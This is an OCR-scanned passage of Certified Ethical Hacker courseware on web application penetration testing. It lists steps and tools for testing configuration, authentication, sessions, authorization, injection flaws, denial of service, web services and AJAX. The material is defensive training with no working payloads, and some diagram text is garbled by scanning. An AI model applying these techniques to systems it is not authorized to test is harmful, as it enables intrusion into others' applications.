Nmap and Queso, or the more recent application fingerprinting tools Amap. This gives you

information about web application services and associated ports.
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» Perform network scanning and analyzethe web server banner

e Test the application configuration management using GGl scanners and
reviewing the contents of the web server, application server, comments,
configuration and logs

» Use vulnerability scanners, spidering and mirroring tools, searchengines
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application X
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Configuration M anagement Testing

fro

Once you gather information about the web application environment, test the

configuration management. It is important to test the configuration management because

improper configuration may allow unauthorized users to break into the web application.
Stepl: Perform SSL/TLS testing

SSL/TLS testing allows you to identify the ports associated with SSL/TLS wrapped services. You
can do this with the help of tools such as Nmap and Nessus. This helps disclose confidential

information.

Step 2: Perform infrastructure configuration management testing

Perform network scanning and analyze web server banners to analyze the source code of the

application.
Step 3: Perform application configuration management testing

Test the configuration management of infrastructure using CGI scanners and reviewing the

contents of the web server, application server, comments, configuration, and logs. This gives

you information about the source code, log files, and default error codes.
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Step 4: Test for file extensions handling

Use vulnerability scanners, spidering and mirroring tools, search engines queries, or perform
manual inspection to test for file extensions handling. This may reveal confidential information

about access credentials.
Step 5: Verify the presence of old, backup, and unreferenced files

Review source code and enumerate application pages and functionality to verify the old,
backup, and unreferenced files. This may reveal the installation paths and passwords for

applications and databases.
Step 6: Test for infrastructure and application admin interfaces

Perform directory and file enumeration, review server and application documentation, etc. to
test for infrastructure and application admin interfaces. Admin interfaces can be used to gain

access to the admin functionality.
Step 7: Test for HTTP methods and XST

Review OPTIONS HTTP method using Netcat or Telnet to test for HTTP methods and XST. This

may reveal credentials of legitimate users.
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Authentication Testing CEH

START © Tryto reset passwords by guessing, social
engineering, or cracking secret questions, if
used. Checkif "remember my password"
mechanism is implemented by checking the
HTML code of the login page.

© Checkifitis possible to "reuse" a session
after logout. Also check if the application

Testfor logout and automatically logs out a user when that user

Authentication X K i

browser cache | bilit has been idle for a certain amount of time,
vulnerabilities

management and that no sensitive data remains stored in

the browser cache.

\Y

® Identify all parameters that are sentin
. . addition to the decoded CAPTCHA value from
Authentication
Test for CAPTCHA o the client to the server and try to send an old
vulnerabilities decoded CAPTCHA value with an old
CAPTCHA ID of an old session ID

W Check if users hold a hardware device of some
Multiple factors kind In addition to the password. Check if
hardware device communicatesdirectlyand
independently with the authentication
infrastructure using an additional
communication channel.

Test for multiple

. . authentication
factors authentication

vulnerabilities

® Attemptto force arace condition, make
Test for race Race conditions multiple simultaneous requests while
observing the outcome for unexpected

behavior. Perform code review.

conditions
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Hjjjjy A uthentication Testing
You need to perform the following steps to carry out authentication testing:
Step 1: Test for Vulnerable Remember password and pwd reset

Test for Vulnerable Remember password and pwd reset by attempting to reset passwords by
guessing, social engineering, or cracking secret questions, if used. Check if a "remember my
password" mechanism is implemented by checking the HTML code of the login page; through

this password, authentication weakness can be uncovered.
Step 2: Test for logout and browser cache management

Check if it is possible to "reuse" a session after logout. Also check if the application
automatically logs out a user when that user has been idle for a certain amount of time, and

that no sensitive data remains stored inthe browser cache.
Step 3: Test for CAPTCHA

Identify all parameters that are sent in addition to the decoded CAPTCHA value from the client
to the server and try to send an old decoded CAPTCHA value with an old CAPTCHA ID of an old

session ID. This helps you to determine authentication vulnerabilities.
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Step 4: Test for multiple factors authentication

Check if users hold a hardware device of some kind in addition to the password. Check if the
hardware device communicates directly and independently with the authentication

infrastructure using an additional communication channel.

Step 5: Test for race conditions

Attempt to force a race condition and make multiple simultaneous requests while observing

the outcome for unexpected behavior. Perform code review to check if there is a chance for

race conditions.
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Session Management Testing CEH

START Collect sufficient number of cookie
samples, analyze the cookie generation
algorithm and forge a valid cookie in
order to perform the attack

Cookie tampering results in
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legitimate users Test for cookie attributes using

intercepting proxies such as Webscarab,
Burp proxy, OWASP ZAP, or traffic
intercepting browser plug-in's such as
"TamperlE"(for IE) and "Tamper Data"(for
Firefox)

Test for cookie Cookie information to
attributes hijack a valid session

To test for session fixation, make a
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" N L user session (session
fixation - WebScarab tool
hijacking)
Test for exposed session variables by
inspecting encryption & reuse of session
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pySj Session M anagement Testing

After testing the configuration management, test how the application manages the

session. The following are the steps to conduct session management pen testing:
Step 1: Test for session management schema

Collect a sufficient number of cookie samples, analyze the cookie generation algorithm, and
forge a valid cookie in order to perform the attack. This allows you to test your application

against cookie tampering, which results in hijacking the sessions of legitimate users.
Step 2: Test for cookie attributes

Test for cookie attributes using intercepting proxies such as Webscarab, Burp Proxy, OWASP
ZAP, or traffic intercepting browser plugins such as "TamperlE"(for IE) and "Tamper Data"(for
Firefox). If you are able to retrieve cookie information, then you can use this information to

hijack a valid session.
Step 3: Test for session fixation

To test for session fixation, make a request to the site to be tested and analyze vulnerabilities
using the WebScarab tool. This helps you to determine whether your application is vulnerable

to session hijacking.
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Step 4: Test for exposed session variables

Confidential information of session token leads to a replay session attack. Therefore, test for
exposed session variables by inspecting encryption and reuse of session token, proxies and

caching, GET and POST, and transport vulnerabilities.
Step 5: Test for CSRF (Cross Site Request Forgery)

Examine the URLs in the restricted area to test for CSRF. A CSRF attack compromises end-user

data and operation or the entire web application.
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Authorization Testing C EH
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© Testfor path traversal by performing input vector enumeration and analyzing the input validation functions present in
the web application

e Test for bypassing authorization schema by examining the admin functionalities, to gain access to the resources
assigned to adifferent role

0 Testfor role/privilege manipulation
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A uthorization Testing

Follow the steps here to test the web application against authorization

vulnerabilities:
Step 1: Test for path traversal

Test for path traversal by performing input vector enumeration and analyzing the input
validation functions present in the web application. Path traversal allows attackers to gain

access to reserved information.
Step 2: Test for bypassing authorization schema

Test for bypassing authorization schema by examining the admin functionalities, to gain access
to the resources assigned to a different role. If the attacker succeeds in bypassing the

authorization schema, he or she can gain illegal access to reserved functions/resources.
Step 3: Test for privilege escalation

Test for role/privilege manipulation. If the attacker has access to resources/functionality, then

he or she can perform a privilege escalation attack.
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Data Validation Testing CEH

urtifM itfciui Nmim

START

Detect and analyze input vectors for potential vulnerabilities, analyze the
Session cookie wvulnerability reportand attempt to exploit it. Use tools such asOWASP CALI000,
WebScarab, XSS-Proxy, ratproxy, and Burp Proxy

Analyze HTMLcode, test for Stored XSS, leverageStored XSS, verifyifthefile
upload allows setting arbitrary MIMEtypes using tools such asOWASP CAL9000,
Hackvertor, BeEF, XSS-Proxy, Backframe, WebScarab, Burp,and XSS Assistant

9 Performsource code analysis to identifyJavaScript coding errors

information

Sensitive information

h ion Test for stored 9 Analyze SWFfiles using tools such as SWFIntruder, Decompiler ~Flare, Compiler
such as sessio cross-site scripting - MTASC, Disassembler -Flasm,Swfmil |, and Debugger Version of Flash
authorization tokens Plugi n/Player

9  Perform Standard SQL Injection Testing, Union Query SQL Injection Testing,
Blind SQL Injection Testing, and Stored Procedure Injection using tools suchas
OWASP SQLiX sglninja, SqlDumper, sqlbftools, SQLPower Injector, etc.
Test for DOM-based

Cookie information « Useatrial and error approach byinserting'(’,' I', and the other
cross-site scripting characters inorder to check the appl icati on for errors. Usethe tool Softerra
LDAP Browser

Information on POM' < Test for cross site Sensitive information

4ba.sed CFOSS-SIFGH """" flashing about users and hosts
scripting vulnerabilities

. . Perform SQL " Perform LDAP
Database information S - ; - -
injection testing injection testing
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D ata V alidation Testing

Web applications must employ proper data validation methods. Otherwise, there may
be a chance for the attacker to break into the communication between the client and the
server, and inject malicious data. Hence, the data validation pen testing must be conducted to
ensure that the current data validation methods or techniques employed by the web

application offer appropriate security. Follow the steps here to perform data validation testing:
Step 1: Test for reflected cross-site scripting

A reflected cross-site scripting attacker crafts a URL to exploit the reflected XSS vulnerability
and sends itto the client in a spam mail. Ifthe victim clicks on the link considering it as from a
trusted server, the malicious script embedded by the attacker in the URL gets executed on the
victim's browser and sends the victim's session cookie to the attacker. Using this session
cookie, the attacker can steal the sensitive information of the victim. Hence, to avoid this kind
of attack you must check your web applications against reflected XSS attacks. If you put proper
data validation mechanisms or methods in place, then you can determine easily whether the
URL came originally from the server or it is crafted by the attacker. Detect and analyze input
vectors for potential vulnerabilities, analyze the vulnerability report, and attempt to exploit it.
Use tools such as OWASP CAL9000, Hackvertor, BeEF, XSS-Proxy, Backframe, WebScarah, XSS

Assistant, and Burp Proxy.
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Step 2: Test for stored cross-site scripting

Analyze HTML code, test for Stored XSS, leverage Stored XSS, and verify ifthe file upload allows
setting arbitrary MIME types using tools such as OWASP CAL9000, Hackvertor, BeEF, XSS-Proxy,
Backframe, WebScarab, Burp, and XSS Assistant. Stored XSS attacks allow attackers to uncover

sensitive information such as session authorization tokens.
Step 3: Test for DOM-based cross-site scripting

DOM XSS attack stands for document object model based cross-site scripting attack, which
affects the client's browser script code. In this attack, the input istaken from the user and then
some malicious action is performed with it, which in turn leads to the execution of injected
malicious code. Web applications can be tested against DOM XSS attacks by performing source

code analysis to identify JavaScript coding errors.
Step 4: Test for cross site flashing

Analyze SWF files using tools such as SWFIntruder, Decompiler - Flare, Compiler - MTASC,
Disassembler - Flasm, Swfmill, and Debugger Version of the Flash Plugin/Player. Flawed flash
applications may contain DOM-based XSS vulnerabilities. The test for cross-site flashing gives

information on DOM-based cross-site scripting vulnerabilities.
Step 5: Perform SQL injection testing

Perform standard SQL injection testing, union query SQL injection testing, blind SQL injection
testing, and stored procedure injection using tools such as OWASP SQLiX, sqlninja, SqlDumper,
sqlbftools, SQL Power Injector, etc. SQL injection attacks give database information to the

attacker.
Step 6: Perform LDAP injection testing

Use a trial and error approach by inserting '(", 11, and the other characters in order to
check the application for errors. Use the tool Softerra LDAP Browser. The LDAP injection may

reveal sensitive information about users and hosts.

Module 13 Page 1974 Ethical Hacking and Countermeasures Copyright © by EC-COUNCil
All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications

Data Validation Testing CEH

(Contd)

© Discovervulnerabilities of an ORM
tooland test web applications that use
. ORM. Use tools such as Hibernate,
Information on SQL . .
Nhibernate, and Ruby On Rails
injection vulnerability

© Tryto insert XML metacharacters

© Find if the web server actually
supports SSl directives using tools
such as Web Proxy Burp Suite, OWASP
ZAP, WebScarab, String searcher: grep

Information about
XML structure

Web server CGI © Inject XPath code and interfere with

environment variables the query result

© Identify vulnerable parameters.
Understand the data flow and

Access confidential deployment structure of the client,
information and perform IMAP/SMTP command
injection
Perform IMAP/SMTP Access to the backend
injection testing mail server
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D ata Validation Testing (Cont’d)
Step 7: Perform ORM injection testing

Perform ORM injection testing to discover vulnerabilities of an ORM tool and test web
applications that use ORM. Use tools such as Hibernate, Nhibernate, and Ruby On Rails. This

test gives information on SQL injection vulnerabilities.
Step 8: Perform XML injection testing

To perform XML injection testing, try to insert XML meta characters and observe the response.

A successful XML injection may give information about XML structure.
Step 9: Perform SSI injection testing

Perform SSI injection testing and find if the web server actually supports SSI directives using
tools such as Web Proxy Burp Suite, Paros, WebScarab, String searcher: grep. Ifthe attacker can
inject SSI implementations, then he or she can set or print web server CGI environment

variables.
Step 10: Perform XPath injection testing

Inject XPath code and interfere with the query result. XPath injection allows the attacker to

access confidential information.
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Step 11: Perform IMAP/SMTP injection testing

Perform IMAP/SMTP injection testing to identify vulnerable parameters. Understand the data
flow and deployment structure of the client, and perform IMAP/SMTP command injection.

Malicious IMAP/SMTP commands allow attackers to access the backend mail server.
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DataValidation Testing

(Contd)

CEH

Inject code (a malicious URL) and perform
n'< Input validation source code analysis to discover code
errors injection vulnerabilities

Perform manual code analysis and craft
malicious HTTP requests using | to test for
OS command injection attacks

Perform OS Ly Local data and
commanding system information Perform manual and automated code
analysis using tools such as OllyDbg to
y detect buffer overflow condition
Perform buffer Stack and heap memory Upload a file that exploits a component in
. A information, application the local user workstation, when viewed or
overflow testing control flow downloaded by the user, perform XSS, and

SQL injection attack

y . .
] Identify all user controlled input that
. Server configuration . .
Perform incubated ) g. . influences one or more headers in the
vulnerability testing and input validation response, and check whether he or she can

schemes successfully inject a CR+LF sequence in it
y
Testfor HTTP Y Cookies, and HTTP
splitting/smuggling redirect information
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D ata Validation Testing (Cont’d)
' Step 12: Perform code injection testing

To perform code injection testing, inject code (a malicious URL) and perform source code
analysis to discover code injection vulnerabilities. It gives information about input validation

errors.
Step 13: Perform OS commanding

Perform manual code analysis and craft malicious HTTP requests using | to test for OS

command injection attacks. OS commanding may reveal local data and system information.
Step 14: Perform buffer overflow testing

Perform manual and automated code analysis using tools such as OllyDbg to detect buffer
overflow condition. This may help you to determine stack and heap memory information and

application control flow.
Step 15: Perform incubated vulnerability testing

Upload a file that exploits a component in the local user workstation, when viewed or
downloaded by the user, perform XSS, and SQL injection attacks. Incubated vulnerabilities may

give information about server configuration and input validation schemes to the attackers.
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Step 16: Test for HTTP splitting/smuggling

Identify all user-controlled input that influences one or more headers inthe response and check
whether he or she can successfully inject a CR+LF sequence in it. Attackers perform HTTP

splitting/smuggling to get cookies and HTTP redirect information.
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Denialof°"Service Testing CEH

d Craft a query thatwill not return a result and

Application includes several wildcards. Test manually or

information employ afuzzer to automate the process

6 Test that an account does indeed lock after a
Test for locking Login account certain number of failed logins. Find places
customer accounts information where the application discloses the difference
between valid and invalid logins

Perform a manual source code analysis and

Test for buffer
Bufferoverflow submit a range of inputs with varying lengths
overflows points to the application
Find where the numbers submitted as a
- Maximum number of name/value pair might be used by the
Test for user specified .
) . m> objects that application application code and attempt to set the value
object allocation can handle to an extremely large numeric value, then see

if the server continues to respond
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Denialof"Service Testing
To check your web application against DoS attacks, follow these steps
Stepl: Test for SQL wildcard attacks

Craft a query that will not return a result and includes several wildcards. Test manually or

employ a fuzzer to automate the process.
Step2: Test for locking customer accounts

Test that an account does indeed lock after a certain number of failed logins. Find places where
the application discloses the difference between valid and invalid logins. Ifyour web application
doesn't lock customer accounts after a certain number of failed logins, then there is a
possibility for the attacker to crack customer passwords by employing brute force attacks,

dictionary attacks, etc.
Step3: Test for buffer overflows

Perform a manual source code analysis and submit a range of inputs with varying lengths to the

application to test for buffer overflows.
Step4: Test for user specified object allocation

Find where the numbers submitted as a name/value pair might be used by the application code

and attempt to set the value to an extremely large numeric value, and then see if the server
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continues to respond. If the attacker knows the maximum number of objects that the

application can handle, he or she can exploit the application by sending objects beyond

maximum limit.
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Denial’of°Service Testing CEH
(Contd)

© Enter an extremely large number in

Logical errors in an the input field that is used by
application application as aloop counter
© Use ascript to automatically submit
an extremely long value to the server
in the request that is being logged
Write user provided oW, Local )
P . . X © Identify and send a large number of
data to disk disks exhaustion
requests that perform database
operations and observe any
slowdown or new error messages
© Create a script to automate the
Test for proper > Programming flaws creation of many new sessions with
release of resources the server and run the request that is
suspected of caching the data within
the session for each one
\
Test for storing too Session management
much data in session errors
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Denial of"Service Testing (Cont’d)
Step5: Test for user input as a loop counter

Test for user input as a loop counter and enter an extremely large number inthe input field that
isused by application as a loop counter. Ifthe application fails to exhibit its predefined manner,

it means that application contains a logical error.
Step6: Write user provided data to disk

Use a script to automatically submit an extremely long value to the server inthe request that is

being logged.
Step7: Test for proper release of resources

Identify and send a large number of requests that perform database operations and observe

any slowdown or new error messages.
Step8: Test for storing too much data in session

Create a script to automate the creation of many new sessions with the server and run the

request that issuspected of caching the data within the session for each one.

Module 13 Page 1981 Ethical Hacking and Countermeasures Copyright © by EC-COUNCil
All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications

Web Services Testing CEH

w Togather WS information use tools such as wsChess, Soaplite, CURL, Peri, etc.
and online tools such as UDDI Browser, WSIndex, and Xmethods

Use tools such as WSDigger, WebScarab, and Found stone to automate web
services security testing

Pass malformed SOAP messages to XML parser or attach a very large string to
the message. Use WSdiggerto perform automated XML structure testing

e Useweb application vulnerability scanners such as WebScarab to test XML
content-levelvulnerabilities

« Passmalicious content on the HTTP GET strings that invoke XML applications

Craft an XML document (SOAP message) to send to aweb service that contains
malware as an attachmentto check if XML document has SOAP attachment
vulnerability

Attempt to resend a sniffed XML message using Wireshark and WebScarab

Information about SQL,
XPath, buffer overflow, Inform ation about
and command injection MITM vulnerability

vulnerabilities

HTTP GET/REST SOAP message

attack vectors information
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W e b S ervices T esting
Stepl: Gather WS information

Gather WS information using tools such as Net Square wsChess, Soaplite, CURL, Perl, etc. and
online tools such as UDDI Browser, WSIndex, and Xmethods.

Step 2: Test WSDL

Test WSDL to determine various entry points of WSDL. You can automate web services security
testing using tools such as WSDigger, WebScarab, and Foundstone.

Step 3: Test XML structural

Pass malformed SOAP messages to the XML parser or attach a very large string to the message.
Use WSdigger to perform automated XML structure testing.

Step 4: Test XML content-level

Use web application vulnerability scanners such as WebScarab to test XML content-level
vulnerabilities.

Step 5: Test HTTP GET parameters/REST
Pass malicious content on the HTTP GET strings that invoke XML applications.
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Step6: Test naughty SOAP attachments

Craft an XML document (SOAP message) to send to a web service that contains malware as an
attachment to check if XML document has SOAP attachment vulnerability.

Step 7: Perform replay testing

Attempt to resend a sniffed XML message using Wireshark and WebScarab. This test gives
information about MITM vulnerability.
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AJAX Testing CEH

AJAX application call

endpoints

y

XMLHttpRequest object,
JavaScript files, AJAX

Parse the HTML and

JavaScript files frameworks

Use a proxy to

Formatofapplication

observe traffic requests

8 Enumerate the AJAX call endpoints forthe asynchronous calls using tools such as Sprajax
0L Observe HTML and JavaScript files to find URLs of additional application surface exposure

© Use proxies and sniffers to observe traffic generated by user-viewable pages and the background asynchronous

traffic to the AJAX endpoints in orderto determine the formatand destination ofthe requests
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AJA X Toesting
The following are the steps used to carry out AJAX pen testing:

Step 1: Test for AJAX

Enumerate the AJAX call endpoints for the asynchronous calls using tools such as Sprajax.

Step 2: Parse the HTML and JavaScript files

Observe HTML and JavaScript files to find URLs of additional application surface exposure.

Step 3: Use a proxy to observe traffic

Use proxies and sniffers to observe traffic generated by user-viewable pages and the
background asynchronous traffic to the AJAX endpoints in order to determine the format and
destination of the requests.
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Module Summary CEH

Unifief b\l IUivwe

Organizations today rely heavily on web applications and Web 2.0 technologies

to support key business processes and improve performance

W ith increasing dependence, web applications and web services are increasingly being targeted
by various attacks that results in huge revenue loss for the organizations

Some ofthe major web application vulnerabilities include injection flaws, cross-site scripting
(XSS), SQL injection, security misconfiguration, broken session management, etc.

Input validation flaws are a major concern as attackers can exploitthese flaws to perform or
create a base for most of the web application attacks, including cross-site scripting, buffer

overflow, injection attacks, etc.

It is also observed that most of the vulnerabilities result because of misconfiguration and not

following standard security practices

Common countermeasures for web application security include secure application
development, input validation, creating and following security best practices, using WAF

Firewall/IDS and performing regular auditing of network using web application security tools

M o d u Ie S um m ary

© Organizations today rely heavily on web applications and Web 2.0
technologies
to support key business processes and improve performance.

o With increasing dependence, web applications and web services are increasingly being
targeted by various attacks that results in huge revenue loss for the organizations.

e Some of the major web application vulnerabilities include injection flaws, cross-site
scripting (XSS), SQL injection, security misconfiguration, broken session management,
etc.

o Input validation flaws are a major concern as attackers can exploit these flaws to
perform or create a base for most of the web application attacks, including cross-site
scripting, buffer overflow, injection attacks, etc.

e It is also observed that most of the vulnerabilities result because of misconfiguration
and not following standard security practices.

o Common countermeasures for web application security include secure application
development, input validation, creating and following security best practices, using WAF
firewall/IDS, and performing regular auditing of network using web application security
tools.
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